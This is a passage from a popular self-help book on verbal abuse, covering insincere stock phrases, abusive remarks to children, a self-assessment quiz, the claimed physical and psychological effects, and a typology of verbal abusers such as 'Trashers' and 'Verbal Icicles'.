The same holds true for women, of course, as well as for people with the opposite claim—those who tell you
how great they are! Muhammad Ali said he was “the greatest”—he could “float like a butterfly and sting like a
bee.” He certainly knew what he was saying: he was the greatest boxer of our time.
Even though you might think that they are braggarts or obnoxious, most people who tell you they are the best
are telling you that they have plenty of confidence in themselves. Of course, you have to watch out for people
who have delusions of grandeur, such as someone who says she is the best singer when she has never taken a
lesson and sounds off key. She very well might be the best singer—in her shower, when nobody else is around.
Thus, in addition to seeing the results, you do have to consider some history. Always listen very carefully to
what people say about themselves. They are usually right.
Beware, You're Next!
If someone constantly disses (disrespects) others, you can rest assured that you are next on the “diss list.” Some
people can communicate with another person only when they are trashing someone. It makes them feel as
though they are better and have one up on the person. That's why talk shows are currently such a success. If
you see someone more miserable than you on television and share what you saw with someone as you chuckle
to yourself, you don't feel that your life is in such bad shape after all.
In reality, these are people with a lot of inner emotional conflict that hasn't been worked out yet. They are
miserable and lonely people. They always put others down in order to build themselves up. These people are
often the ones who will be nice to your face and then verbally stab you in the back. If you hear them go after
someone one day, their tongue could easily be firing bullets at you the next morning as they make mincemeat
out of you behind your back.
Page 23
They Don't Really Mean That!
In their attempts to be civil, not make waves, or to appease you, people often make lame comments that you
know may be untrue. They may make typical automatic responses when they really mean to say the opposite.
Now you must combine your newfound knowledge of reading people's body cues, facial cues, and vocal cues
with what they are actually saying. Whenever you hear standard phrases such as the ones in the following list,
be aware. Observing their physical and vocal manner in conjunction with these particular statements may tell
you what they really mean and what they are truly feeling. Watch out for a tight-lipped smile, facial grimacing,
a forced smile, a blank facial expression, ridged body posture, a lower pitch, or a monotone when they make
these statements to appease you.
If you observe any of these body cues, chances are that they think the opposite of what they're saying. On the
other hand, if the body language, facial movements and voice pattern seem genuine, chances are that they do
mean what they say, so “don't worry about it.”
Expressions Said but Seldom Meant
1. Don't worry about it.
2. It's no big deal.
3. There's no problem whatsoever.
4. Don't give it a second thought
5. It'll all work out.
6. It doesn't bother me at all.
7. I really don't care.
8. Sure, go ahead.
9. I'm really sorry.
10. It's my fault.
Warning! You've Been Exposed to a Verbal Health Hazard
Remember the innocent mantra you learned as a child? “Sticks and stones can break my bones, but words can
never hurt me.” Wanna bet? The wrong words said to
Page 24
anyone, especially to a young and vulnerable child, are like glue. They stick to them forever—from ages 3 to
103.
The wrong kind of words can not only hurt you, they can emotionally maim you and even kill you.
The National Committee for the Prevention of Child Abuse and several psychologists who have treated abused
children came up with the following list of commonly used remarks with which parents verbally abuse their
children. Many parents make these comments, completely unaware of the damaging repercussions and lasting
scars these words can have on their youngsters. If you have made any of these comments to your child, never
do it again! Apologize to them.
You can also do this with employees. Remember, it takes a big person to apologize, whether a parent, child,
sibling, spouse, employer, or employee. Those who can't bring themselves to say they are sorry are often
bullies who believe that a kick in the pants is better than a pat on the back. Those who make these cruel
statements are often miserable and bitter people with little or no feeling for anyone but themselves. They are
often so consumed with self-loathing that they spew forth their toxic bullets towards anyone in their way. Most
often, it is towards a defenseless family member, such as a child.
The following are abusive statements you must never say.
1. “You look terrible.”
2. “Wear something else. You look awful.”
3. “You're pathetic. You can't do anything right.”
4. “You're so stupid. Can't you ever listen?”
5. “You disgust me. Just shut up!”
6. “If I would have known how much trouble you'd be, I never would have had you.”
7. “Get out of here and don't come back.”
8. “You make me sick.”
9. “You're always wrong.”
10. “Who asked you?”
Verbal Abuse—the Silent Killer
Sometimes you may not even be aware that you have been verbally abused. It's often like a silent killer, similar
to a gas leak that slowly fills the room and eventually conPage
25
sumes you. You smell something, but you ignore it, thinking it will go away. But it doesn't go away, and then
you become unconscious. Unless someone rushes into your home to save you, you will never wake up.
The following section contains a quiz to help you become more aware of whether you have been exposed to
verbal abuse. Like the gas leak, the abuse may have taken place slowly until it consumed you. It may have
affected your physical health or your emotional well-being, because the verbal abuse seems never to go away.
Unless the information and knowledge you acquire from reading this book saves you, your physical and
emotional suffering will become worse, until it takes a devastating toll on your body and psyche.
Quiz to Determine Exposure to Verbal Abuse
Answer the following questions with “yes” or “no,” then read the section that follows to determine the level of
verbal abuse that you've experienced.
1. Have you been told to deny or to minimize your emotions (for example, “don't cry,” “keep a stiff upper lip,”
“stop getting worked up over nothing,” “don't get so bent out of shape,” and “take it easy”)?
2. Were you told how wonderful you were in one breath and then in the next breath how horrible you are?
3. Did someone take the wind out of your sails or diminish what you say (such as, “you'll never be able to do
that,” “who do you think you are?”, or “that's the stupidest idea I ever heard”)?
4. Have you been contradicted whenever you say something, even though you know you are correct and have
the data or the evidence to prove it?
5. Were you teased in a vicious manner, with the teaser not letting up no matter how upset you got?
6. Did you feel that someone was sadistic by secretly getting satisfaction out of seeing you emotionally hurt or
upset?
7. Were you constantly threatened, or did someone hold over your head something that you were sensitive
about?
8. Were you ridiculed after you told someone an intimate secret? Did that person tease you about it and
constantly throw it back in your face when you least expected it?
9. Did he share your confidence with others after you said not to tell anyone else?
10. Did he speak to you in hostile, harsh, or angry tones?
11. Did she look away when you spoke or when she spoke to you?
12. Did she move away from you when you tried to speak to her?
13. Did he withhold information or neglect to give you vital information?
Page 26
14. Did he always try to have a “leg up” and try to top anything you told him? Did you feel that he was always
trying to compete with you?
15. Did she make you feel wrong, contradict you, or attempt to belittle or dismiss what you had to say in front
of others?
16. Did she say something awful or shocking to you and then follow her comment by “I was only kidding?”
17. Did he seem to always accuse you or blame you by making statements beginning with “you never…,” “you
always…,” “it's your fault that…,” “you'd better…,” or “why don't you ever…?”
18. Does she always try to instigate a fight?
19. Does she curse at you or use profanity?
20. Does he always seem to pick on you, telling you how bad you are and what you did wrong, rarely telling
you what you ever did right?
21. Does he call you pejorative names or nicknames that he knows you don't like?
22. Does she constantly bring up something bad that happened in your past or a mistake you made, and never
let you forget it?
23. Does she order you around, constantly making demands instead of making requests when she speaks to
you?
24. Does he speak so softly that you can't hear him, even though you have heard him speak up when he wants
to?
25. Does he bellow out loud and deafening tones when he speaks to you, but not when he speaks to others?
26. Is she always in a hurry or having to go whenever you want to talk with her?
27. Does she answer questions with a question, never giving you a direct answer?
28. Was getting him to talk like pulling teeth? Did he usually give one-word responses to your questions like
“yep” or “nope?”
29. Does she say things to make you feel guilty?
30. Does she constantly belittle you or embarrass you in front of others?
31. Does he ignore, dismiss, or reject what you say?
What Do Your Answers Mean?
If you can answer “yes” to any of the 31 questions listed here, then you have definitely been exposed to verbal
abuse. To determine the main culprits, write down the names of all those who have committed any of the acts
of abuse listed here.
In doing so, you will begin to see a pattern emerge. For the first time, you may see that it is men more than
women who are verbally abusive towards you, or vice versa. You

Page 27
may become more conscious of certain people who may be jealous of you or uncomfortable around you. You
may see that you are abused with certain family members and not with others. You might see that you were
more verbally abused as a child or teenager, as many of the names on your list will be those of people from
your early years of life. You may also have numerous names next to one question, which may indicate that you
may choose similar types of people who are toxic for you.
This quiz allows you to delve a little deeper and learn more about yourself. Here you can clearly see who your
tormentors are (or were) and how they have specifically victimized you.
Ouch, It Hurts! The Physical Pain of Verbal Abuse.
As was said earlier, words do hurt. Using words as weapons can cause tremendous physical pain, disease, and
(as far-fetched as it may seem) can even result in death.
Physical reactions towards verbal abuse take place in stages. When someone verbally slaps you, your system
suffers an initial shock. First your cortex, the top layer of your brain, receives the verbal message, which is
processed in the appropriate areas of the brain, primarily on the left side, called Wernicke's area. After you
have cognitively deciphered what was said, a deeper area of your brain, known as the limbic system, kicks in.
When you have been verbally abused your whole physiology changes, becoming different from the state at
which you either heard pleasant things about yourself or when you felt neutral.
Now your autonomic nervous system, the system that controls your heart rate, pupil dilation, and blood flow,
kicks in. The primitive “fight or flight” response emerges as you aim to physically protect yourself against the
predators. Thus, your heart beats faster, the adrenaline flows, and your senses become heightened, making you
more aware of what is occurring around you.
This is why your heart beats so fast, why blood rushes to or drains out of your face, or why you might develop
a sudden headache. It is why you may become dizzy or lightheaded and feel as though you have had an “outof-
body” experience.” It is also why you may have difficulty initially catching your breath after you have been
verbally zapped and slapped. This is why your stomach tightens and begins to hurt or cramp, why your body
becomes rigid, and why the muscles in your neck and back tense up.
If these physiological changes happen to you regularly, a particular area of your body may become weakened
due to the added pressure placed upon it. For instance, constant pain and pressure in the abdominal region can
cause an increase in stomach acid,

Page 28
which may result in ulcers. This pain can cause such discomfort that it can immobilize you, thereby
jeopardizing your work and your interpersonal relationships.
Head Games Lead to Heart Pains.
Constant physical stress can also affect the muscles in your heart, thereby weakening the main mechanism you
need for life support. Your blood flow may be affected, which may cause heart dysfunction and even stroke.
Research has repeatedly shown how added emotional distress can contribute to heart failure, which may kill a
person. Similarly, studies have shown that stress can lower the immune system, which can make us susceptible
to certain diseases. Among these are cancer, which in most cases leads to death.
The results of verbal abuse, like those of physical abuse, have a devastating effect on the body. This is very
serious and should never be taken lightly. When people are verbally abusing you on a constant basis, they are
in essence taking away chunks of your life.
Following are several warning signs that often result from verbal abuse:
• Shocked or numb feeling
• Body or face flinching
• Body or face tics
• Body or face tremors or shivering
• Flushed or hot feeling
• Cold feeling
• Skin blotches
• Head throbbing
• Headache in various parts of the head
• Neck pain and tightness
• Stomach pain and cramping
• Diarrhea
• Vomiting
• Rapid heartbeat
• Light-headedness
• Dizziness
• Inability to catch one's breath
Page 29
Shrinking Verbal Abuse—Psychological Pain
When people have been consistently verbally abused, they usually have no other recourse than to get
professional help. They need to verbalize their feelings to their clergy, a supportive family member, an intimate
friend, a counselor, or a psycho-therapist or “shrink.” If not remedied, their “shrinking self-esteem” may result
in severe self-destructive behaviors leading to a very unpleasant life.
When people are constantly verbally slapped as children, they begin to feel embarrassment and shame. They
grow up feeling like less than they are—worthless and irrelevant in the world. People react differently when
they have been emotionally traumatized. They may become explosive and let out their emotional pain in some
way. On the other hand, they may become implosive, keeping their emotional pain inside of them; this ends up
torturing them emotionally. No matter how they manifest their symptoms, the result of their pain is the same—
a diminished sense of self brought about by verbally hostile input.
Externally, those who have been verbally abused may in turn become verbally abusive towards others. They
may exhibit the same tone of voice or use the same words that they have detested all of their lives. They may
do this to keep others at a distance, as they often fear intimacy. To the verbally abused, intimacy is often
equated with emotional loss and pain.
They may take out their inner rage on unsuspecting innocent victims, as they themselves were at one time.
They may yell, scream, and belittle others. On the other hand, they may become too accommodating or clingy
towards others. They may become exceedingly shy and unable to converse with anyone effectively. This
further alienates them from others. They may tend to feel hopeless with an attitude of “what's the use of trying?
I'm no good anyway”. This can eventually lead to lethargy and generalized malaise and can eventually evolve
into full-blown depression; in extreme cases, the person becomes “emotionally vegetative” over a period of
time.
Page 30
On the other hand, some of those with such verbal abuse-caused low self-worth direct their rage and anger
inward. They feel so worthless and undeserving that they punish themselves by overeating, undereating,
bingeing, purging, or starving themselves. They may engage in other self-destructive habits that are a very
difficult to break. These include taking drugs, drinking too much, smoking, or self-destructive sexual liaisons.
Practically every patient I have counseled has had the root of his or her psychological problems stem from
being verbally abused. This is such a serious matter that it can no longer be minimized or ignored. It prevents
people from living their lives to the fullest because a question always rings deep within their psyche about
whether the “toxic words and comments” about them were in fact valid. Verbal abuse and violence can create
scars so deep and so severe that it can emotionally destroy a person forever.
The feelings of pain and emotional despair can be so severe that it can lead someone with an extremely fragile
psyche to commit suicide. Teen suicide has been on the rise lately, going up almost 50 percent. In many cases,
it is because these teens can no longer take the verbal tormenting from their parents or peers. In their
desperation to be accepted, they find the pressure so enormous that they no longer want to live. The ugly truth
is that they were killed by verbal bullets.
The following are several psychological reactions resulting from verbal abuse:
• Feelings of shame or embarrassment
• Feelings of worthlessness
• Insecurity
• Inability to form intimate relationships
• Inability to trust
• Gravitating towards other “familiar” verbal abusers
• Generalizing anger and inner rage towards others
• Physical violence
• Anorexia
• Bulimia
• Excessive appetite
• No appetite
• Sleeplessness
• Anxiety attacks
• Drowsiness and feeling sleepy
• Diminished sexual interest
• Increased sexual interest
• Overly willing to please and accommodate others

Page 31
• Emotional hypersensitivity
• Crying jags
• Phobias
• Withdrawing from others socially
• Clinging to others
• Generalized malaise
• Verbal retaliation
• Apathy and lethargy
• Excessive drinking
• Doing drugs
• Smoking despite a doctor's warning
• Full-blown depression
• Suicide
Page 33
Chapter 3
Verbal Abusers Are Losers
People who resort to verbal attacks and abuse are full of hostility. They are tortured with rage about issues have
nothing to do with you. Usually these issues arise from something traumatic that may have occurred earlier in
their lives. If they don't work out their psychological turmoil, the unfortunate person in their path bears the
brunt of their tortured souls.
These people have lost out on the quality of life because as a group they are never happy. No matter how much
money, fame, or beautiful possessions they have, there is a void. Unless they seek professional assistance to rid
them of their demons, they become losers in life. They consistently lose business opportunities and friends, and
this further fuels their misery.
Categorizing the Verbal Abuser
In researching this topic, I have concluded that verbal abuse exists in two basic levels. Essentially, the results
of both levels are the same: the verbal weaponry stings and hurts. However, the consequences of level one
abuses may not be as devastating as those from level two abuses. Both levels of verbal abusers, however, are
“toxic people,” as identified in my book Toxic People—10 Ways of Dealing With People Who Make Your Life
Miserable (St. Martin's Press, 1997).
Page 34
Eleven types of verbal abusers exist in each level. The common thread is self-esteem so low that they have to
bring others down to their own perceived level of inadequacy. In level one, the offenders tend not to interfere in
your life. They just want to make you miserable or uncomfortable by what they say to you. The people in level
two really want to let you have it! They interfere with your life to the extent that they could destroy it.
Level One Abusers
The ten types of verbal abusers in “level one” are more annoying and hurtful to your psyche than those in
“level two.” You will learn what each particular abuser does and says and red flags to watch out for. Later in
this book we will explore ways to handle these types of abusers.
The “I'm Only Kidding” Person
In Chapter 2, I discussed people who always tell you that they are kidding after making some devastating
comment to you. They seem like they are erasing what they said, but they really say this only to keep you from
attacking them back. If you persist in challenging them about the hostile comment they made, they will ever
more loudly insist that they were “only kidding.” The more you persist, the more they will resist, by getting
louder and using a higher tone. Finally, they may use an exasperated or even sarcastic tone indicating they
think you're the one with the problem because you're taking things so seriously. After all, they were “only
kidding.”
Deep down inside, they really resent you or your actions, but they are too “chicken” to tell you outright, so they
disguise their annoyance as humor.
Many young women I speak to experience this type of behavior from dates who want to “get a leg up” on them.
If the man feels intimidated by the woman, he may try to gain the upper hand by making hostile and insulting
statements to her. When he sees that he was successful in getting a “rise” out of her, he knows he has that
power, if only for a moment.
The “Shock 'Em and Rock 'Em” Person
“Shock 'Em and Rock 'Em” people are similar to “I'm Only Kidding” people. Both want to get a rise out of
you. They want to shock you by making a bizarre and
Page 35
inappropriate comment to get your attention or see how you will react. Unlike the “I'm Only Kidding” person,
they usually don't resent or dislike you. In fact, they may really like you.
Such people are immature in their psychological development. They often have unresolved parental issues.
They attempt to keep “pushing the envelope” with you to see if you will still like them even after they are
“bad.” After all, Mommy and Daddy gave them unconditional love, so why can't you? They fail to realize that
you are not Mommy or Daddy, and that when they are “bad,” you won't necessarily like them or accept them.
If you pass their test and ignore what they said or minimize it, they feel that they “gotcha” and feel that you
accept them even if they are being bad.
The Sarcastic/Sadistic Person.
These people have a lot of deep-seated psychological issues. Similar to the “I'm Only Kidding” person, they
use hostility under the guise of humor because they really don't like you. They don't like themselves and see the
world as dark and gloomy.
You can never be happy around these people, because they usually don't let up and are always thinking of
something negatively humorous to say in any situation. They rarely take anything seriously. The truth is that
they are not funny, and they know it. They know that they are in agony internally. You can rarely have a
conversation with them without their resorting to sarcasm. This is most tiring and frustrating to you; you will
begin to physically show your frustration with what they say, as you can tell that their dark, unwitty wit is
about to invade you.
The Verbal Hammers Person
Verbal hammers won't let up, let alone shut up! They go on and on and on and on. They never let you forget
anything bad you ever did in your life. They constantly bring up the past. They verbally torture you to the point
where you can't wait to leave them.
Even if you “Shock 'Em and Rock 'Em,” they won't be shocked and they won't be rocked. Like the Energizer
Bunny, they just keep going! You feel like you're about to explode because there is no way out—they can't
even hear you.
You may apologize a hundred times, and they will never hear you. They may stop for a while, but rest assured
that they will continue to hammer you at some later date. These people are usually filled with inner rage and
have a “victim” approach to life, which makes them feel that people are always doing them wrong. It's virtually
impossible for them to break their view of themselves as well as their hammering unless they undergo
Page 36
some major counseling. Often times their hammering has very little to do with you. They may be generalizing a
past negative experience (perhaps one they had with another person) onto you.
“My Dog's Bigger Than Your Dog” People.
Like the “I'm Only Kidding” person, these people need to get a “leg up” on you, which is quite appropriate
because after all, they are “My Dog's Bigger than Your Dog” people. Years ago in a television commercial, a
little boy was bragging about his little dog, when a second boy claimed that his dog was bigger than the first
boy's dog. Although it was a cute commercial, being around people who are always trying to compete with you
isn't very cute. It is annoying. Such people are so hungry to show you who they are and what they have that
they are relentless in uncovering any morsel of information where they will have a chance to compete with you.
These people may indeed really like you. Perhaps they like you too much—to the point where they envy you
and what you have. Their jealousy makes them need to establish an equal playing ground—to play the oneupsmanship
game with you to make themselves feel better. They are extremely insecure about themselves and
about their accomplishments.
Perhaps they didn't get enough positive reinforcement when they were children. Unfortunately, they crave it as
adults. It becomes the fuel to their existence. No matter how hard you try to build them up, it doesn't matter.
They need to build themselves up—mainly at your expense.
They drain you because they try to deflate and negate everything you say. In essence, being with them means
constantly listening to their one-upsmanship and being put down. You can't have a conversation with them, you
can only have a match where they have to come out the “winner.”
The Trashers
These people have to tear down everyone and everything. They, like the Sarcastic Sadist, see the world through
dark and cloudy glasses. But unlike the Sarcastic Sadist, they don't try to disguise their verbal venom with
humor; instead, they are blunt and open about their feelings about others and everything around them. Like the
“My Dog's Bigger Than Your Dog” people, they have a need to build themselves up while putting others down.
The only difference is that they don't only try to top you, they also constantly criticize.
If they have only criticized others in your presence and have left you alone, you can bet that you will be trashed
either in person at a later date or when you're not around. They have no mercy. Anyone is fair game.
Page 37
Trashers are miserable people. It is a shame that they have to live with themselves. They go around perpetually
tight-lipped and tight-jawed, tense-faced, whiny, and with tones of disgust spewing forth. They are difficult to
be around, because nothing seems to make them happy. They will always find something wrong with someone
or something. Even though they certainly aren't perfect, they insist that the world around them be perfect.
Perhaps they learned how to be so negative from parents or caretakers who saw the world in the same way.
Perhaps they have been so traumatized in life that they have resigned themselves to the bitter Murphy's Law
idea that nothing is good and nothing ever goes right. Therefore, they cut down others before circumstances or
other people can cut them down.
They are dissatisfied with everything. No matter what you say or do, they cannot be pleased. Like the “My
Dog's Bigger Than Your Dog” people and the “Sarcastic Sadists,” they are impossible to be around for long
periods of time because they drain you. They deflate who you are, what you think, and who and what you like,
thereby debilitating your own self-esteem and outlook towards life.
People Who Throw Back Your Confidences
These people are downright vicious. You may have shared something personal with them—something that
would embarrass or destroy you if anyone else knew. You tell this person because you trust them implicitly.
After all, they revealed their innermost thoughts and deep, dark secrets to you. You feel safe and secure. When
there is a conflict or a disagreement between the two of you, however, they will reach for a verbal weapon that
is well below the belt, something you shared with them in the strictest confidence.
Once they commit the unforgivable act of throwing back in your face something you're so sensitive about, you
can never trust them again! It is dangerous to “forgive and forget.” If they did it once, who's to say that they
won't do it again? You can never again tell them anything so intimate.
Why did they do it? Because they wanted to use any verbal weapon, no matter how hurtful, to get you back and
to win. Deep down, these people may have little or no respect for you. They not only knocked you down, they
stomped on you and squished you.
There is another problem with these people: If they threw your confidence back at you, who is to say that they
haven't shared your intimacy with others? Obviously, they don't respect you enough to know what is off limits
for them to ever bring up.
Page 38
Some people just can't keep anything inside. They have to tell all about themselves and about anyone who's
confided in them. These are people you need to steer clear of. They can verbally destroy you, as they have done
to themselves.
Other people tend to know who they are and what they are all about. They don't elicit much respect from others
and if you associate with them, you won't elicit respect from others.
The Sugary Fawner
People want to hear good things about themselves, but there is a limit. When you are constantly fawned over
and praised relentlessly with extraordinary passion and emotion, you need to be careful.
Sugary fawners have a huge smile and are overly excited to see you, gesturing excessively and hovering around
you. They tell you wonderful things about yourself that you know are exaggerations. Most of these sugary
fawners tend to be insincere and manipulative. Usually they want something from you, and they will break this
news to you well after they are in your good graces. Watch how they turn on you when your answer is “no” or
they don't get what they want. Suddenly their sugary words and attitude become salty or even bitter.
Often the Sugary Fawners make you feel as though you are their best friend. This is often calculated, as they
most likely want something from you or want you to do something for them. They often pull the rug out from
under you either after they get what they wanted from you or don't get what they want. They will continue to be
sugary if they think that they can get more from you. Deep inside, they really might not like you, but they are
being overly nice to get what they want from you.
These manipulative tactics date back to infancy. The dynamic of many families is that of manipulating or
“bribing” a family member to do something. Parents tell their children, “If you are well behaved, I'll buy
you….” Children act cutesy in order to get a certain positive reaction from their parents, which results in
positive consequences. If
Page 39
their charm doesn't work, they will often cry or throw a tantrum. Many people carry this manipulative behavior
into adulthood. This is how some people deal with the world and with people around them.
They are insincere people who are usually backstabbers. They will often become “Trashers” and sing your
failures and weak points to others as opposed to singing your praises and strong points. So beware and be
aware!
Backhanded Complimentors
These people, like the “I'm Only Kidding” people, have some underlying resentment towards you. They really
may not like you and may make a cutting remark. Instead of trying to disguise their hostility with humor, like
the “I'm Only Kidding” people, they often disguise it by saying something complimentary to you, followed by
a cutting remark in their next breath.
In essence, they are demonstrating an openly hostile attitude towards you. The tone of a person's voice is also a
giveaway for Backhanded Complimentors. Their voices usually go up in tone at the end of their truly
complementary statement, but will immediately inflect their tone downward, slightly lowering their pitch when
they are about to let loose with verbal zingers.
These people really resent you or are jealous of you. They are also negative people who often can't let a person
know that the person is “too good.” They have to pick on the slightest imperfection. They do it in such a subtle
manner that you don't ever know they verbally smacked you until later. Sometimes you don't realize it until
moments later, hours later, or even days later.
You begin to mull over what you said and what they said and what you wish you would have said, had you
realized what they were saying. This mental mishmash can keep you awake for nights on end. The reason why
their zing hits you later is because their initial positive comment is still resonating in your mind as you beam
and smile. Then when you have time to think about everything, you really hear what they said.
The Self-Consumed.
The Self-Consumed discuss only the topic that is most interesting to them—themselves. They go on and on
about themselves with disregard as to whether the other person is interested in what they are saying or not. The
Self-Consumed will rarely look in your direction when they talk you. They enjoy reliving their lives'
experiences by telling you every little detail about what happened to them.
The Self-Consumed require so much attention from others because deep inside they are extremely insecure
about themselves. They need constant validation in order to exist. Their speech is primarily consumed by the
word “I.” “You” is rarely if ever used. They talk at you, not with you. They are not very helpful or generous, so
don't expect them to do anything for you that doesn't benefit them.
Page 40
In short, be aware of the following level one verbal abusers.
1. “I'm Only Kidding” People
2. “Shock 'Em and Rock 'Em” People
3. Sarcastic/Sadists
4. Verbal Hammers
5. “My Dog's Bigger Than Your Dog” People
6. Trashers
7. People Who Throw Back Your Confidences
8. Sugary Fawners
9. Backhanded Complimentors
10. The Self-Consumed
Level Two Abusers
There are 11 types of Level Two abusers. Unlike the Level Ones, who are annoying, these people are very
destructive to you and may be downright dangerous. By learning what they do and how to recognize them, you
will be saving yourself a lot of grief in your life.
Interrogators
After you have been around these people, you feel as though you have been placed under a hot lamp and
tortured. It's one thing to be persistent, but these people are relentless. They don't know when to stop. They go
on and on asking you questions until they get the answer they want to hear. They will ask you questions in
different ways to see if they can catch you in a lie or learn some detail you didn't particularly want them to
know. They tend to put you on the defensive, making you feel as though you are guilty, when in fact you might
not have done anything wrong. They are also very nosy and want to know everything they can about your
business or about your personal life.
These people are so insecure that they need reassurance that everything is the way they feel it should be. When
you notice that someone is asking you question after question, nonstop, know that you have met an
interrogator.
Certain communities refer to them as yentas: they try to suck as much information out of you as they can, so
that they can regurgitate it to others. Of course, the
Page 41
information they are giving others is usually misinterpreted and told in the wrong context, which makes you
look bad, giving an erroneous impression of who you are and what's going on.
Gossiping, Meddling Instigators
These people enjoy interfering in your personal business by telling you what to do. In order to make situations
turn out as they want them to, they will stop at nothing to create their own little soap operas. They often tell
you things with an alarmed tone to make you perceive the severity of the problem at hand. To make matters
worse, they tell your business to anyone who will listen.
Instigators usually do not have much going on in their own lives—only what commotion they create in the
lives of others. They usually begin their wrath by saying things such as “I don't want to pry, but…,” “It's none
of my business, but…,” “I think you should know that…” or “I happened to hear that….” If any of these
phrases hit your ears, you know what's coming next. They are usually overzealous in wanting to help or to get
involved in your life. They usually speak in rapid tones, which get you enrolled in the immediacy of the
situation. Remember that if a person is gossiping to you about others, chances are that you are next on the list
to be gossiped about.
Condescending Dismissers
Condescending Dismissers think that they know it all. You can't tell them anything, because they think they
have all the answers. Your opinion doesn't matter. They are snob-like in their attitudes as they brush you and
your opinions off as if they were lint. The way they ignore you or put you down in subtle and not-so-subtle
ways can make you feel two inches tall.
When they speak to you, their tones are impatient and their speech pattern appears to be clipped. They just
want to “get on with it.” Their tones, along with what they say, are arrogant. They talk at you, not with you.
They will usually try to diminish, minimize, or brush off anything you try to contribute to the conversation.
These people have an over-inflated ego and under-inflated self-esteem. Otherwise they wouldn't treat others as
they do. In essence, they are very shallow individuals who are closed-minded. You can often detect them from
their facial language, as they seem to literally look down on you. There is usually a sneer or a look of disgust
on their face when they speak to you.
Sneaky Underminers.
These people are some of the most dangerous people you can talk with. They have a lot in common with
Instigators; however, they try to undermine you in a more subtle
Page 42
manner. Instead of doing it in front of you, like the Instigator does, they do it behind your back. They smile a
lot when they talk to you and usually acquiesce to what you say—all the while trying to pick up morsels of
information that they can use against you and stab you in the back with. They try to make you feel so
comfortable around them that you can't help but freely open up to them.
They always try to reinterpret whatever you have said, but they use a negative slant. Then they tend to share
this misinterpreted data with others. The Sneaky Underminers are passive-aggressive and can never be trusted.
“I Love You—I Hate You” People
You're damned if you do and you're damned if you don't when you're dealing with these people. They appear
mostly in romantic relationships and in relationships with children. Perhaps the cruelest thing one can do to a
child, something that can leave permanent emotional scars and traumatize the child, is to give love and then
take it away with such extreme rage and anger. The roller coaster ride of emotions with these people in intimate
relationships can be devastating for both parties involved. Although there are some relationships that thrive on
this high drama, it isn't healthy. They really don't hate you, even though they may say they do in a moment of
rage. In fact, they may feel extremely passionate, bonded, and close to you.
These people often have mental problems, such as a bipolar disorder, which means that unless they are
medicated, they may love you one day and find fault with you the next. They are emotionally confusing to be
around and can drive you crazy. That is why they are often referred to as “crazy makers.” Such a person is too
flowery and tends to speak on two extremes: things are either black or white. There are no shades of gray.
Page 43
“You're No Good!” People.
Deep down, these people really think that they themselves are no good, so they try to project their own selfloathing
onto you. They are constant critics who attempt to find fault with you. They point out only your
negatives.
Often when a relationship grows close and barriers are broken down, this “You're No Good” syndrome may
emerge. It is usually because the person doesn't feel worthy of you or the relationship. They may also be
competitors and trying to get a “leg up” on you by showing you every fault you have.
These people are often gloom-and-doomers. They often walk around with a tight and extended lower lip,
furrowed brow, and an unhappy heart. They are miserable people who don't have enough self-worth. They
often speak in hostile, angry, clipped tones. Giving you a compliment is an extreme rarity. They may speak
nicely to others but their verbal wrath is meant for you.
Yellers, Screamers, and Ragers
These people are extremely out of control, to the point that they cannot talk to anyone unless they're yelling or
screaming at them. They have a volcano of inner rage within them that they constantly spew forth.
Unfortunately, their hot lava melts down everyone they speak to.
You can always tell the Yellers, Screamers, and Ragers even if they aren't engaging in these verbal activities in
your presence. They often sound hoarse. When they speak, you can usually see the veins of their neck popping
out. They can also be recognized by their loud, clipped, attacking, bullet-like staccato tones. Obviously, these
are extremely angry people who need to work out all of their deep-seated inner rage in a therapeutic situation.
Verbal Nazis—My Way or Else!
These people must have order and control in their lives or they cannot function. They don't realize on a
conscious level that there is no way that one can control another person. In their frustration, they become
angrier and downright verbally hostile. They are definitely not team players and have a difficult time getting
along with others, especially in the work environment. These people usually go from job to job. They set
themselves up for a life of disappointment as they are never able to “go with the flow.”
Page 44
They are one of the most difficult verbal abusers to be around, as they believe that “it's my way or the
highway.”
Verbal Nazis are very immature. Like four-year-olds, if you don't do it their way they have a tantrum. The
reason why these people have to be in control is that they cannot function in a world where everything is not
exactly the way they like it. They are recognized by their adamant and emphatic tones. They are poor listeners
and often dismiss or argue with whatever you say, especially if it disagrees with them. Their volume increases
when they don't get their way.
They speak in command terms, threaten, and may even scream, yell, or curse at you.
Guilt-Producing Accusers
Guilt-Producing Accusers make you wrong to make themselves right. But unlike the Verbal Nazis, who use
anger in their attempt to control you, these people use guilt. They let you know that you made a big mistake
and that you should feel bad about it and pay. Often the payment is groveling or saying you're sorry a million
times. Still that may not appease them. They usually bring up your “crime” at some inopportune time as further
ammunition as to why you made them feel so bad. They are perennial “victims” who feel that everyone is
doing them wrong. They try to manipulate you by hitting one of your emotional weak points to make you feel
just as bad as they do. They usually hold a grudge against you for a long time.
When you hear phrases like “You always…,” “You make me…,” “Why do you always…,” “What you did to
me…,” or “Why don't you ever…,” then you know you have been exposed to someone whose aim is to make
you responsible for something in their life that upsets them. They speak in absolute terms. They say just about
anything and even resort to crying in order to get you to “feel bad for what you did.” It seems as though
nothing you can say can appease them, as they tend to go on and on about the woe you “caused” them.
Liars
Liars are one of the most verbally abusive people, because they don't respect you enough to tell you the truth.
Liars often lie for different reasons. Some lie to make themselves feel as though they are more than they really
are, so that you will have more respect for them. These liars are extremely insecure. Others lie because they are
cowardly and can't face the results of their negative actions. Nobody likes a liar. Nobody likes to be fooled,
hoodwinked, or disrespected.
On the other hand, people may not tell the truth because they may not want to hurt your feelings. For example,
if you have an ugly baby that you happen to think is cute, and you ask people what they think, don't expect
them to tell you how ugly the baby is and ask you “where's its tail?” This form of lying can be good and
socially acceptable, and we are not concerned with it.
Page 45
Note that pathological liars are extremely difficult to detect. Being only human, however, they often slip up. If
you suspect they are lying, try to check their story by verifying it with other people and by gathering hard
evidence.
Verbal Icicles
These people withhold their words. They are some of the most difficult people to be around, because you never
know what they are thinking. They never seem to react. If there is a building crumbling behind them or they
just won a million dollars in the lottery, they remain the same—emotionless. They are so frustrating to be
around because you can never get a read on what is going on with them or how they feel about a particular
situation.
In actuality, they mostly live in fear. They are afraid to say the wrong thing or afraid to say something that may
upset someone, so they keep quiet. They speak when spoken to. As a child, they were often brainwashed by the
mantra, “be seen but not heard,” or consistently told to “shut up!” They often lack social graces, which further
compounds their insecurities.
Even though they are quiet and unassuming, beware! They may unfreeze one day and let out emotions that
would scare the most ferocious beast. Withholding words and emotions from you is definitely a major act of
cruelty.
To say that they are inexpressive is an understatement. Sometimes you wonder if they are brain-damaged or
mute. They often have a vacant look. They are often rigid in their facial and body movements. They speak in
